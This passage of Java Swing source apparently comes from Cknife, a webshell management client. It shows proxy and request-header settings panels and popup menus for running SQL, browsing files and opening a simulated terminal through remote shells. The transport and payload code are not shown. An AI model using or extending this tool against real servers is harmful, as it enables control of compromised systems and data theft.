shell = new ShellPanel(); 47 | this.addTab("模拟终端", shell); 48 | this.setSelectedIndex(this.indexOfComponent(shell)); 49 | this.setTabComponentAt(this.getTabCount()-1, new HeadPanel(shell)); 50 | shell.setVisible(true); 51 | shell.requestFocus(); 52 | return shell; 53 | case "text": 54 | TextPanel text = new TextPanel(); 55 | this.addTab("文本文件", text); 56 | this.setSelectedIndex(this.indexOfComponent(text)); 57 | this.setTabComponentAt(this.getTabCount()-1, new HeadPanel(text)); 58 | return text; 59 | default: 60 | return null; 61 | } 62 | 63 | } 64 | 65 | } 66 | -------------------------------------------------------------------------------- /src/com/ms509/ui/config/panel/ProxyPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.config.panel; 2 | 3 | import java.awt.Dimension; 4 | import java.awt.GridBagLayout; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | 8 | import javax.swing.JButton; 9 | import javax.swing.JComboBox; 10 | import javax.swing.JLabel; 11 | import javax.swing.JOptionPane; 12 | import javax.swing.JPanel; 13 | import javax.swing.JTextField; 14 | 15 | import com.ms509.ui.ConfigDialog; 16 | import com.ms509.util.Common; 17 | import com.ms509.util.Configuration; 18 | import com.ms509.util.GBC; 19 | import com.ms509.util.Safe; 20 | 21 | public class ProxyPanel extends JPanel{ 22 | private JTextField host; 23 | private JTextField port; 24 | private JTextField user; 25 | private JTextField pass; 26 | private JComboBox type; 27 | public ProxyPanel() { 28 | this.setLayout(new GridBagLayout()); 29 | GBC gbclhost = new GBC(0, 0).setInsets(5, -40, 0, 0); 30 | GBC gbchost = new GBC(1,0,3,1).setInsets(5, 20, 0, 0); 31 | GBC gbclport = new GBC(0,1).setInsets(10, -40, 0, 0); 32 | GBC gbcport = new GBC(1,1,3,1).setInsets(10, 20, 0, 0); 33 | GBC gbcluser = new GBC(0,2).setInsets(10, -40, 0, 0); 34 | GBC gbcuser = new GBC(1,2,3,1).setInsets(10, 20, 0, 0); 35 | GBC gbclpass = new GBC(0,3).setInsets(10, -40, 0, 0); 36 | GBC gbcpass = new GBC(1,3,3,1).setInsets(10, 20, 0, 0); 37 | GBC gbcltype = new GBC(0,4).setInsets(10, -40, 0, 0); 38 | GBC gbctype = new GBC(1,4,1,1).setInsets(10, 20, 0, 0); 39 | GBC gbcok = new GBC(2,4,1,1).setInsets(10, 5, 0, 0); 40 | GBC gbccancle = new GBC(3,4,1,1).setInsets(10, 5, 0, 0); 41 | Dimension dim = new Dimension(200, 23); 42 | JLabel lhost = new JLabel("地址:"); 43 | host = new JTextField(); 44 | host.setPreferredSize(dim); 45 | JLabel lport = new JLabel("端口:"); 46 | port = new JTextField(); 47 | port.setPreferredSize(dim); 48 | JLabel luser = new JLabel("用户名:"); 49 | user = new JTextField(); 50 | user.setPreferredSize(dim); 51 | JLabel lpass = new JLabel("密码:"); 52 | pass = new JTextField(); 53 | pass.setPreferredSize(dim); 54 | JLabel ltype = new JLabel("类型:"); 55 | type = new JComboBox(); 56 | type.addItem("SOCKS"); 57 | type.addItem("HTTP"); 58 | type.addItem("DIRECT"); 59 | JButton ok = new JButton("确定"); 60 | JButton cancle = new JButton("取消"); 61 | cancle.addActionListener(new ActionListener() { 62 | public void actionPerformed(ActionEvent e) { 63 | ConfigDialog.cdialog.hide(); 64 | } 65 | }); 66 | ok.addActionListener(new ButtonAction()); 67 | this.add(lhost,gbclhost); 68 | this.add(host,gbchost); 69 | this.add(lport,gbclport); 70 | this.add(port,gbcport); 71 | this.add(luser,gbcluser); 72 | this.add(user,gbcuser); 73 | this.add(lpass,gbclpass); 74 | this.add(pass,gbcpass); 75 | this.add(ltype,gbcltype); 76 | this.add(type,gbctype); 77 | this.add(ok,gbcok); 78 | this.add(cancle,gbccancle); 79 | Configuration config = new Configuration(); 80 | String ihost = config.getValue("PROXY_HOST"); 81 | String iport = config.getValue("PROXY_PORT"); 82 | String iuser = config.getValue("PROXY_USER"); 83 | String ipass = config.getValue("PROXY_PASS"); 84 | String itype = config.getValue("PROXY_TYPE"); 85 | host.setText(ihost); 86 | port.setText(iport); 87 | user.setText(iuser); 88 | pass.setText(ipass); 89 | if(!itype.equals("")) 90 | { 91 | type.setSelectedItem(itype); 92 | } 93 | } 94 | class ButtonAction implements ActionListener 95 | { 96 | public void actionPerformed(ActionEvent e) { 97 | Configuration config = new Configuration(); 98 | String shost = host.getText().trim(); 99 | String sport = port.getText().trim(); 100 | String suser = user.getText().trim(); 101 | String spass = pass.getText().trim(); 102 | String stype = type.getSelectedItem().toString(); 103 | Safe.PROXY_HOST = shost; 104 | Safe.PROXY_PORT = sport; 105 | Safe.PROXY_USER = suser; 106 | Safe.PROXY_PASS = spass; 107 | Safe.PROXY_TYPE = stype; 108 | String sstatus = Common.getProxyStatus(); 109 | Safe.PROXY_STATUS = sstatus; 110 | config.setValue("PROXY_HOST", shost); 111 | config.setValue("PROXY_PORT", sport); 112 | config.setValue("PROXY_USER", suser); 113 | config.setValue("PROXY_PASS", spass); 114 | config.setValue("PROXY_TYPE", stype); 115 | config.setValue("PROXY_STATUS", sstatus); 116 | JOptionPane.showMessageDialog(ConfigDialog.cdialog, "代理设置成功", "提示", JOptionPane.DEFAULT_OPTION); 117 | } 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /src/com/ms509/ui/config/panel/RequestPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.config.panel; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.GridLayout; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | 8 | import javax.swing.ButtonGroup; 9 | import javax.swing.JButton; 10 | import javax.swing.JOptionPane; 11 | import javax.swing.JPanel; 12 | import javax.swing.JRadioButton; 13 | import javax.swing.JScrollPane; 14 | import javax.swing.JTextPane; 15 | 16 | import com.ms509.ui.ConfigDialog; 17 | import com.ms509.ui.MainFrame; 18 | import com.ms509.util.Common; 19 | import com.ms509.util.Configuration; 20 | import com.ms509.util.Safe; 21 | 22 | public class RequestPanel extends JPanel{ 23 | private JTextPane content; 24 | private JRadioButton open,close; 25 | public RequestPanel() { 26 | this.setLayout(new BorderLayout()); 27 | JPanel contentPanel = new JPanel(); 28 | contentPanel.setLayout(new BorderLayout()); 29 | content = new JTextPane(); 30 | JScrollPane scontent = new JScrollPane(content); 31 | contentPanel.add(scontent); 32 | JPanel buttonPanel = new JPanel(); 33 | ButtonGroup group = new ButtonGroup(); 34 | open = new JRadioButton("开启"); 35 | close = new JRadioButton("关闭"); 36 | group.add(open); 37 | group.add(close); 38 | Configuration config = new Configuration(); 39 | String status = config.getValue("REQUEST_STATUS"); 40 | String data = config.getValue("REQUEST_DATA"); 41 | if(status.equals("1")) 42 | { 43 | open.setSelected(true); 44 | } else 45 | { 46 | close.setSelected(true); 47 | } 48 | content.setText(data); 49 | JButton ok = new JButton("确定"); 50 | JButton cancle = new JButton("取消"); 51 | buttonPanel.add(open); 52 | buttonPanel.add(close); 53 | buttonPanel.add(ok); 54 | buttonPanel.add(cancle); 55 | cancle.addActionListener(new ActionListener() { 56 | public void actionPerformed(ActionEvent e) { 57 | ConfigDialog.cdialog.hide(); 58 | } 59 | }); 60 | ok.addActionListener(new ButtonAction()); 61 | this.add(contentPanel,BorderLayout.CENTER); 62 | this.add(buttonPanel,BorderLayout.SOUTH); 63 | } 64 | class ButtonAction implements ActionListener 65 | { 66 | public void actionPerformed(ActionEvent e) { 67 | Configuration config = new Configuration(); 68 | String status; 69 | String data = content.getText().trim(); 70 | if(close.isSelected() || data.equals("")) 71 | { 72 | status="0"; 73 | } else 74 | { 75 | status="1"; 76 | } 77 | Safe.REQUEST_DATA = data; 78 | Safe.REQUEST_STATUS = status; 79 | config.setValue("REQUEST_DATA", data); 80 | config.setValue("REQUEST_STATUS", status); 81 | Common.map.clear(); // 静态Map,如果不清空,则会一直往Map里注入数据。 82 | Common.getData(); 83 | JOptionPane.showMessageDialog(ConfigDialog.cdialog, "请求头设置成功", "提示", JOptionPane.DEFAULT_OPTION); 84 | } 85 | 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/com/ms509/ui/menu/DBPopMenu.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.menu; 2 | //数据库列表右键菜单 3 | 4 | import java.awt.Component; 5 | import java.awt.datatransfer.Clipboard; 6 | import java.awt.datatransfer.StringSelection; 7 | import java.awt.datatransfer.Transferable; 8 | import java.awt.event.ActionEvent; 9 | import java.awt.event.ActionListener; 10 | import java.awt.event.MouseAdapter; 11 | import java.awt.event.MouseEvent; 12 | import java.awt.event.MouseListener; 13 | import java.io.BufferedWriter; 14 | import java.io.File; 15 | import java.io.FileOutputStream; 16 | import java.io.FileWriter; 17 | import java.util.Arrays; 18 | import java.util.Enumeration; 19 | import java.util.Vector; 20 | 21 | import javax.swing.*; 22 | import javax.swing.table.DefaultTableCellRenderer; 23 | import javax.swing.table.DefaultTableModel; 24 | import javax.swing.table.JTableHeader; 25 | import javax.swing.table.TableCellRenderer; 26 | import javax.swing.table.TableColumn; 27 | import javax.swing.table.TableColumnModel; 28 | import javax.swing.table.TableModel; 29 | import javax.swing.tree.DefaultMutableTreeNode; 30 | import javax.swing.tree.DefaultTreeModel; 31 | import javax.swing.tree.MutableTreeNode; 32 | import javax.swing.tree.TreeNode; 33 | import javax.swing.tree.TreePath; 34 | 35 | import com.ms509.model.DatabaseTableModel; 36 | import com.ms509.ui.MainFrame; 37 | import com.ms509.ui.panel.DatabasePanel; 38 | import com.ms509.ui.panel.FileManagerPanel; 39 | import com.ms509.util.DataBase; 40 | import com.ms509.util.NodeData; 41 | import com.ms509.util.NodeData.DataType; 42 | import com.ms509.util.Safe; 43 | import com.ms509.util.TreeMethod; 44 | 45 | public class DBPopMenu extends JPopupMenu { 46 | 47 | private JPopupMenu dbmenu, dbmenu2, dbmenu3; 48 | private JMenuItem createtable, deltable, countnum, showtable, copysingle, copyline, outfile; 49 | private static JTree tree; 50 | private static JTable table; 51 | private static String url; 52 | private static String pass; 53 | private static String config; 54 | private static String code; 55 | private static int type; 56 | private boolean status; 57 | private JLabel jlabel_status; 58 | 59 | 60 | public DBPopMenu(JPanel j, JTree tr, JTable ta, JLabel st) { 61 | // TODO Auto-generated constructor stub 62 | jlabel_status = st; 63 | status = true; 64 | 65 | //数据库名右键菜单:显示表信息 66 | dbmenu = new JPopupMenu(); 67 | showtable = new JMenuItem("查看表信息"); 68 | dbmenu.add(showtable); 69 | tree = tr; 70 | DoAction action = new DoAction(); 71 | showtable.addActionListener(action); 72 | 73 | //数据库表名右键菜单 74 | dbmenu2 = new JPopupMenu(); 75 | countnum = new JMenuItem("获取表行数"); 76 | countnum.addActionListener(action); 77 | 78 | dbmenu2.add(countnum); 79 | 80 | j.add(dbmenu); 81 | j.add(dbmenu2); 82 | DBMenu l = new DBMenu(); 83 | tree.addMouseListener(l); 84 | 85 | //数据库结果列表右键菜单 86 | dbmenu3 = new JPopupMenu(); 87 | // System.out.println("t2"); 88 | copysingle = new JMenuItem("复制"); 89 | copysingle.addActionListener(action); 90 | copyline = new JMenuItem("复制整行"); 91 | copyline.addActionListener(action); 92 | outfile = new JMenuItem("导出"); 93 | outfile.addActionListener(action); 94 | 95 | dbmenu3.add(copysingle); 96 | dbmenu3.add(copyline); 97 | dbmenu3.add(outfile); 98 | table = ta; 99 | j.add(dbmenu3); 100 | TBmenu l2 = new TBmenu(); 101 | table.addMouseListener(l2); 102 | 103 | } 104 | 105 | //设置传递数据库相关配置参数 106 | public static void init_menu(String u, String p, String conf, int t, String c) { 107 | url = u; 108 | pass = p; 109 | config = conf; 110 | type = t; 111 | code = c; 112 | } 113 | 114 | // 数据库列表菜单 115 | class DBMenu extends MouseAdapter { 116 | 117 | @Override 118 | public void mouseClicked(MouseEvent e) { 119 | TreePath index = tree.getPathForLocation(e.getX(), e.getY()); 120 | tree.setSelectionPath(index); 121 | int pathcount = 0; 122 | try { 123 | pathcount = index.getPathCount(); 124 | } catch (Exception k) { 125 | pathcount = 0; 126 | } 127 | //判断jtree路径,分别显示两个菜单 128 | if (e.isMetaDown() && pathcount > 2) { 129 | tree.setSelectionPath(index); 130 | dbmenu2.show(tree, e.getX(), e.getY()); 131 | } else if (e.isMetaDown() && pathcount == 2) { 132 | tree.setSelectionPath(index); 133 | dbmenu.show(tree, e.getX(), e.getY()); 134 | } 135 | } 136 | } 137 | 138 | // 结果列表菜单 139 | class TBmenu extends MouseAdapter { 140 | 141 | @Override 142 | public void mouseClicked(MouseEvent e) { 143 | // TODO Auto-generated method stub 144 | int row = table.rowAtPoint(e.getPoint()); 145 | table.setRowSelectionInterval(row, row); 146 | if (e.isMetaDown() && table.getSelectedRow() >= 0) { 147 | dbmenu3.show(table, e.getX(), e.getY()); 148 | } 149 | } 150 | } 151 | 152 | // 菜单点击事件 153 | class DoAction implements ActionListener { 154 | 155 | @Override 156 | public void actionPerformed(ActionEvent e) { 157 | // TODO Auto-generated method stub 158 | if (status) { //状态锁 159 | if (e.getSource() == showtable) { //显示表信息 160 | status = false; 161 | Thread run = new Thread(new Runnable() { 162 | @Override 163 | public void run() { 164 | // TODO Auto-generated method stub 165 | 166 | showtable(); 167 | 168 | SwingUtilities.invokeLater(new Runnable() { 169 | @Override 170 | public void run() { 171 | // TODO Auto-generated method stub 172 | tree.expandRow(tree.getLeadSelectionRow()); 173 | } 174 | }); 175 | jlabel_status.setText("执行完毕"); 176 | status = true; 177 | } 178 | }); 179 | try { 180 | run.start(); 181 | 182 | } catch (Exception e1) { 183 | status = true; 184 | } 185 | } else if (e.getSource() == outfile) { //导出到文件 186 | status = false; 187 | Thread run = new Thread(new Runnable() { 188 | @Override 189 | public void run() { 190 | // TODO Auto-generated method stub 191 | SwingUtilities.invokeLater(new Runnable() { 192 | public void run() { 193 | String name = "test.txt"; 194 | FileManagerPanel filemanagerpanel = null; 195 | JFileChooser downch = new JFileChooser("."); 196 | downch.setDialogTitle("导出内容"); 197 | downch.setSelectedFile(new File(name)); 198 | int select = downch.showSaveDialog(filemanagerpanel); 199 | if (select == JFileChooser.APPROVE_OPTION) { 200 | try { 201 | 202 | TableModel model = table.getModel(); 203 | File fw = downch.getSelectedFile(); 204 | BufferedWriter bw = new BufferedWriter(new FileWriter(fw)); 205 | for (int i = 0; i < model.getColumnCount(); i++) { 206 | bw.write(model.getColumnName(i)); 207 | bw.write("\t"); 208 | } 209 | bw.newLine(); 210 | for (int i = 0; i < model.getRowCount(); i++) { 211 | for (int j = 1; j < model.getColumnCount(); j++) { //从1开始,0为图标文件 212 | bw.write(model.getValueAt(i, j).toString()); 213 | bw.write("\t"); 214 | } 215 | bw.newLine(); 216 | } 217 | bw.close(); 218 | jlabel_status.setText("导出成功"); 219 | status = true; 220 | } catch (Exception e1) { 221 | filemanagerpanel.getStatus().setText("导出失败"); 222 | status = true; 223 | } 224 | } 225 | } 226 | }); 227 | 228 | } 229 | 230 | }); 231 | try { 232 | run.start(); 233 | 234 | } catch (Exception e1) { 235 | status = true; 236 | } 237 | } else if (e.getSource() == copysingle) { //复制单个表格内容 238 | status = false; 239 | Thread run = new Thread(new Runnable() { 240 | 241 | @Override 242 | public void run() { 243 | // TODO Auto-generated method stub 244 | try { 245 | TableModel model = table.getModel(); 246 | int x = table.getSelectedRow(); 247 | int y = table.getSelectedColumn(); 248 | String k = model.getValueAt(x, y).toString(); 249 | Clipboard clipboard;// 获取系统剪贴板。 250 | clipboard = MainFrame.main.getToolkit().getSystemClipboard(); 251 | Transferable tText = new StringSelection(k); 252 | clipboard.setContents(tText, null); 253 | jlabel_status.setText("复制完毕"); 254 | status = true; 255 | } catch (Exception e1) { 256 | // System.out.println("copy failed"); 257 | status = true; 258 | } 259 | } 260 | 261 | }); 262 | 263 | try { 264 | run.start(); 265 | } catch (Exception e1) { 266 | status = true; 267 | } 268 | } else if (e.getSource() == copyline) { //复制整行 269 | status = false; 270 | Thread run = new Thread(new Runnable() { 271 | 272 | @Override 273 | public void run() { 274 | // TODO Auto-generated method stub 275 | try { 276 | TableModel model = table.getModel(); 277 | int y = table.getSelectedRow(); 278 | int x = table.getColumnCount(); 279 | String k = ""; 280 | for (int lx = 1; lx < x; lx++) { //从1开始,0列为图标文件 281 | 282 | try { 283 | k = k + model.getValueAt(y, lx).toString() + "\t"; 284 | } catch (Exception e1) { 285 | break; 286 | } 287 | 288 | } 289 | Clipboard clipboard;// 获取系统剪贴板。 290 | clipboard = MainFrame.main.getToolkit().getSystemClipboard(); 291 | Transferable tText = new StringSelection(k); 292 | clipboard.setContents(tText, null); 293 | jlabel_status.setText("复制完毕"); 294 | status = true; 295 | } catch (Exception e1) { 296 | status = true; 297 | } 298 | } 299 | 300 | }); 301 | try { 302 | run.start(); 303 | } catch (Exception e1) { 304 | status = true; 305 | } 306 | } else if (e.getSource() == countnum) { //统计count信息 307 | Thread run = new Thread(new Runnable() { 308 | 309 | @Override 310 | public void run() { 311 | // TODO Auto-generated method stub 312 | status = false; 313 | String sql = "select count(*) from "; 314 | TreePath test = tree.getLeadSelectionPath(); 315 | String dbn = test.getPathComponent(1).toString().replace("\t", ""); 316 | String table = tree.getLastSelectedPathComponent().toString(); 317 | if (config.toLowerCase().indexOf("oracle") > 0) // oracle 由于cknife.jsp中未指定数据库名,所以查询需要带上数据库名 318 | { 319 | sql = sql + dbn + "." + table; 320 | } else { 321 | sql = sql + table; 322 | } 323 | final String re = DataBase.exec_sql(url, pass, config, type, code, sql, dbn); 324 | SwingUtilities.invokeLater(new Runnable() { 325 | 326 | @Override 327 | public void run() { 328 | // TODO Auto-generated method stub 329 | UpdateData(re); 330 | jlabel_status.setText("执行完毕"); 331 | status = true; 332 | } 333 | 334 | }); 335 | } 336 | 337 | }); 338 | 339 | try { 340 | run.start(); 341 | } catch (Exception e1) { 342 | e1.printStackTrace(); 343 | status = true; 344 | } 345 | 346 | } 347 | } else { 348 | jlabel_status.setText("上一操作尚未执行完毕"); 349 | } 350 | } 351 | 352 | } 353 | 354 | // 根据result结果更新table的显示内容 355 | private void UpdateData(String result) { 356 | DatabaseTableModel dtm = new DatabaseTableModel(); 357 | Vector al = new Vector(); 358 | String[] rows = result.split("\t\\|\t\r\n"); 359 | table.removeAll(); 360 | Vector vtitle = new Vector(); 361 | vtitle.add(""); 362 | String[] dtitle = rows[0].split("\t\\|\t"); 363 | int columns = dtitle.length; 364 | for (int k = 0; k < dtitle.length; k++) { 365 | vtitle.add(dtitle[k].replace("\t\\|\t", "")); 366 | } 367 | if (rows.length > 1) { 368 | for (int i = 1; i < rows.length; i++) { 369 | String[] cols = rows[i].split("\t\\|"); 370 | Vector vector = new Vector(); 371 | for (int m = 0; m < cols.length; m++) { 372 | if (m == 0) { 373 | vector.add(new ImageIcon(getClass().getResource("/com/ms509/images/data.png"))); 374 | } 375 | vector.add(cols[m].replace("\t", "")); 376 | 377 | } 378 | al.add(vector); 379 | dtm.setDataVector(al, vtitle); 380 | } 381 | } else // 没有读取到数据时执行。 382 | { 383 | dtm.setDataVector(null, vtitle); 384 | } 385 | table.setModel(dtm); 386 | 387 | int rowcount = table.getRowCount(); 388 | int colcount = table.getColumnCount(); 389 | DefaultTableCellRenderer rend = new DefaultTableCellRenderer(); 390 | if (rowcount == 0) { 391 | JTableHeader header = table.getTableHeader(); 392 | TableColumnModel hmodel = header.getColumnModel(); 393 | for (int k = 0; k < hmodel.getColumnCount(); k++) { 394 | TableColumn hcolumn = hmodel.getColumn(k); 395 | Object hvalue = hcolumn.getHeaderValue(); 396 | TableCellRenderer hrend = header.getDefaultRenderer(); 397 | Component hcomp = hrend.getTableCellRendererComponent(table, hvalue, false, false, 0, 0); 398 | int hwidth = (int) hcomp.getPreferredSize().getWidth(); 399 | hcolumn.setPreferredWidth(hwidth); 400 | } 401 | } 402 | for (int i = 0; i < colcount; i++) { 403 | int maxwidth = 0; 404 | for (int j = 0; j < rowcount; j++) { 405 | Object value = table.getValueAt(j, i); 406 | Component comp = rend.getTableCellRendererComponent(table, value, false, false, 0, 0); 407 | int width = (int) comp.getPreferredSize().getWidth(); 408 | TableColumnModel cmodel = table.getColumnModel(); 409 | TableColumn column = cmodel.getColumn(i); 410 | maxwidth = Math.max(maxwidth, width); 411 | if (j == rowcount - 1) { 412 | Object hvalue = column.getHeaderValue(); 413 | TableCellRenderer hrend = table.getTableHeader().getDefaultRenderer(); 414 | Component hcomp = hrend.getTableCellRendererComponent(table, hvalue, false, false, 0, 0); 415 | int hwidth = (int) hcomp.getPreferredSize().getWidth(); 416 | maxwidth = Math.max(maxwidth, hwidth); 417 | } 418 | column.setPreferredWidth(maxwidth + 1); 419 | } 420 | } 421 | TableColumn fcolumn = table.getColumnModel().getColumn(0); 422 | fcolumn.setMaxWidth(0); 423 | } 424 | 425 | //显示表信息 426 | public static void showtable() { 427 | Safe.PASS = pass; // 初始化PASS常量 428 | // 初始化脚本类型 429 | String dbn = tree.getLastSelectedPathComponent().toString(); 430 | // tree显示向量 431 | DefaultTreeModel root = (DefaultTreeModel) tree.getModel(); 432 | DefaultMutableTreeNode node = new DefaultMutableTreeNode(); 433 | node = (DefaultMutableTreeNode) tree.getLastSelectedPathComponent(); 434 | node.removeAllChildren(); // 清空当前节点下已有的节点 435 | String tables = DataBase.getTables(url, pass, config, type, code, dbn); 436 | //System.out.println(tables); 437 | // table 显示 向量 438 | final DatabaseTableModel dtm = new DatabaseTableModel(); 439 | Vector al = new Vector(); 440 | String[] rows = tables.split("\\|\t\r\n"); 441 | table.removeAll(); 442 | Vector vtitle = new Vector(); 443 | vtitle.add(""); 444 | String[] dtitle = rows[0].split("\t\\|\t"); 445 | int columns = dtitle.length; 446 | for (int k = 0; k < dtitle.length; k++) { 447 | vtitle.add(dtitle[k].replace("\t\\|\t", "")); 448 | } 449 | if (rows.length > 1) { 450 | for (int i = 1; i < rows.length; i++) { 451 | String[] cols = rows[i].split("\t\\|"); 452 | Vector vector = new Vector(); 453 | for (int m = 0; m < columns; m++) { 454 | if (m == 0) { 455 | vector.add(new ImageIcon("".getClass().getResource("/com/ms509/images/data.png"))); 456 | } 457 | // 添加到向量vector中,后续加入到table里面显示 458 | vector.add(cols[m].replace("\t", "")); 459 | // 添加到tree parent节点中 460 | NodeData nd = new NodeData(DataType.TABLE, cols[m]); 461 | DefaultMutableTreeNode child = new DefaultMutableTreeNode(nd); 462 | root.insertNodeInto(child, node, 0); 463 | } 464 | al.add(vector); 465 | dtm.setDataVector(al, vtitle); 466 | } 467 | } else // 没有读取到数据时执行。 468 | { 469 | dtm.setDataVector(null, vtitle); 470 | } 471 | table.setModel(dtm); 472 | 473 | SwingUtilities.invokeLater(new Runnable() { 474 | 475 | @Override 476 | public void run() { 477 | // TODO Auto-generated method stub 478 | 479 | int rowcount = table.getRowCount(); 480 | int colcount = table.getColumnCount(); 481 | DefaultTableCellRenderer rend = new DefaultTableCellRenderer(); 482 | if (rowcount == 0) { 483 | JTableHeader header = table.getTableHeader(); 484 | TableColumnModel hmodel = header.getColumnModel(); 485 | for (int k = 0; k < hmodel.getColumnCount(); k++) { 486 | TableColumn hcolumn = hmodel.getColumn(k); 487 | Object hvalue = hcolumn.getHeaderValue(); 488 | TableCellRenderer hrend = header.getDefaultRenderer(); 489 | Component hcomp = hrend.getTableCellRendererComponent(table, hvalue, false, false, 0, 0); 490 | int hwidth = (int) hcomp.getPreferredSize().getWidth(); 491 | hcolumn.setPreferredWidth(hwidth); 492 | } 493 | } 494 | for (int i = 0; i < colcount; i++) { 495 | int maxwidth = 0; 496 | for (int j = 0; j < rowcount; j++) { 497 | Object value = table.getValueAt(j, i); 498 | Component comp = rend.getTableCellRendererComponent(table, value, false, false, 0, 0); 499 | int width = (int) comp.getPreferredSize().getWidth(); 500 | TableColumnModel cmodel = table.getColumnModel(); 501 | TableColumn column = cmodel.getColumn(i); 502 | maxwidth = Math.max(maxwidth, width); 503 | if (j == rowcount - 1) { 504 | Object hvalue = column.getHeaderValue(); 505 | TableCellRenderer hrend = table.getTableHeader().getDefaultRenderer(); 506 | Component hcomp = hrend.getTableCellRendererComponent(table, hvalue, false, false, 0, 0); 507 | int hwidth = (int) hcomp.getPreferredSize().getWidth(); 508 | maxwidth = Math.max(maxwidth, hwidth); 509 | } 510 | column.setPreferredWidth(maxwidth + 1); 511 | } 512 | } 513 | TableColumn fcolumn = table.getColumnModel().getColumn(0); 514 | fcolumn.setMaxWidth(0); 515 | } 516 | }); 517 | 518 | } 519 | } 520 | -------------------------------------------------------------------------------- /src/com/ms509/ui/menu/ListPopMenu.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.menu; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.awt.event.MouseAdapter; 6 | import java.awt.event.MouseEvent; 7 | import java.sql.SQLException; 8 | import java.sql.Statement; 9 | 10 | import javax.swing.ButtonGroup; 11 | import javax.swing.JCheckBoxMenuItem; 12 | import javax.swing.JDialog; 13 | import javax.swing.JFrame; 14 | import javax.swing.JMenu; 15 | import javax.swing.JMenuItem; 16 | import javax.swing.JOptionPane; 17 | import javax.swing.JPanel; 18 | import javax.swing.JPopupMenu; 19 | import javax.swing.JScrollPane; 20 | import javax.swing.JTable; 21 | import javax.swing.SwingUtilities; 22 | import javax.swing.UIManager; 23 | import javax.swing.UIManager.LookAndFeelInfo; 24 | import javax.swing.UnsupportedLookAndFeelException; 25 | 26 | import sun.awt.windows.ThemeReader; 27 | import sun.swing.SwingUtilities2; 28 | 29 | import com.ms509.ui.AboutDialog; 30 | import com.ms509.ui.AddDialog; 31 | import com.ms509.ui.ConfigDialog; 32 | import com.ms509.ui.MainFrame; 33 | import com.ms509.ui.panel.ListPanel; 34 | import com.ms509.util.Configuration; 35 | import com.ms509.util.DbDao; 36 | 37 | public class ListPopMenu extends JPopupMenu { 38 | private JScrollPane listPane; 39 | private JMenuItem add, edit, delete, database, filemanager, shell, about,config; 40 | private JTable list; 41 | private JPopupMenu pop; 42 | 43 | public ListPopMenu(JPanel panel, JScrollPane listPane) { 44 | // TODO Auto-generated constructor stub 45 | this.listPane = listPane; 46 | pop = this; 47 | this.listPane.addMouseListener(new MouseAction()); 48 | MenuAction action = new MenuAction(); 49 | add = new JMenuItem("添加"); 50 | JMenu skins = new JMenu("皮肤"); 51 | about = new JMenuItem("关于"); 52 | config = new JMenuItem("设置"); 53 | LookAndFeelInfo[] looks = UIManager.getInstalledLookAndFeels(); 54 | ButtonGroup group = new ButtonGroup(); 55 | JCheckBoxMenuItem gskin = new JCheckBoxMenuItem("Graphite"); 56 | SkinAction action1 = new SkinAction(); 57 | action1.setLookAndFeel("org.pushingpixels.substance.api.skin.SubstanceGraphiteLookAndFeel"); 58 | gskin.addActionListener(action1); 59 | group.add(gskin); 60 | skins.add(gskin); 61 | for(LookAndFeelInfo look : looks) 62 | { 63 | JCheckBoxMenuItem skin = new JCheckBoxMenuItem(look.getName()); 64 | SkinAction action2 = new SkinAction(); 65 | action2.setLookAndFeel(look.getClassName()); 66 | skin.addActionListener(action2); 67 | group.add(skin); 68 | skins.add(skin); 69 | } 70 | add.addActionListener(action); 71 | about.addActionListener(action); 72 | config.addActionListener(action); 73 | pop.add(add); 74 | pop.add(skins); 75 | pop.add(about); 76 | this.addSeparator(); 77 | pop.add(config); 78 | panel.add(this); 79 | } 80 | 81 | public ListPopMenu(JPanel panel, JTable list) { 82 | 83 | this.list = list; 84 | pop = this; 85 | this.list.addMouseListener(new SelectedMouseAction()); 86 | MenuAction action = new MenuAction(); 87 | filemanager = new JMenuItem("文件管理"); 88 | database = new JMenuItem("数据库管理"); 89 | shell = new JMenuItem("模拟终端"); 90 | database.addActionListener(action); 91 | filemanager.addActionListener(action); 92 | shell.addActionListener(action); 93 | this.add(filemanager); 94 | this.add(database); 95 | this.add(shell); 96 | this.addSeparator(); 97 | add = new JMenuItem("添加"); 98 | edit = new JMenuItem("编辑"); 99 | delete = new JMenuItem("删除"); 100 | config = new JMenuItem("设置"); 101 | this.add(add); 102 | this.add(edit); 103 | this.add(delete); 104 | this.addSeparator(); 105 | this.add(config); 106 | add.addActionListener(action); 107 | edit.addActionListener(action); 108 | delete.addActionListener(action); 109 | config.addActionListener(action); 110 | database.setEnabled(true); 111 | panel.add(this); 112 | } 113 | 114 | private String getOne(JTable list) { 115 | String data = ""; 116 | for (int i = 0; i < 8; i++) { 117 | if (list.getValueAt(list.getSelectedRow(), i) != null) { 118 | data += list.getValueAt(list.getSelectedRow(), i).toString() 119 | + "\t"; 120 | } else { 121 | data += " " + "\t"; 122 | } 123 | } 124 | return data; 125 | } 126 | 127 | class SelectedMouseAction extends MouseAdapter { 128 | @Override 129 | public void mousePressed(MouseEvent e) { 130 | // TODO Auto-generated method stub 131 | if (e.getButton() == MouseEvent.BUTTON3) { 132 | int row = list.rowAtPoint(e.getPoint()); 133 | list.setRowSelectionInterval(row, row); 134 | pop.show(list, e.getX(), e.getY()); 135 | } else if (e.getClickCount() == 2) { 136 | MainFrame.tab.setUrl(getOne(list)); 137 | Runnable run = new Runnable() { 138 | public void run() { 139 | SwingUtilities.invokeLater(new Runnable() { 140 | public void run() { 141 | MainFrame.tab.addPanel("filemanager"); 142 | } 143 | }); 144 | } 145 | }; 146 | new Thread(run).start(); 147 | } 148 | } 149 | } 150 | 151 | class MouseAction extends MouseAdapter { 152 | @Override 153 | public void mousePressed(MouseEvent e) { 154 | // TODO Auto-generated method stub 155 | if (e.getButton() == MouseEvent.BUTTON3) { 156 | pop.show(listPane, e.getX(), e.getY()); 157 | } 158 | } 159 | } 160 | 161 | class MenuAction implements ActionListener { 162 | 163 | @Override 164 | public void actionPerformed(ActionEvent e) { 165 | // TODO Auto-generated method stub 166 | if (e.getSource() == add) { 167 | 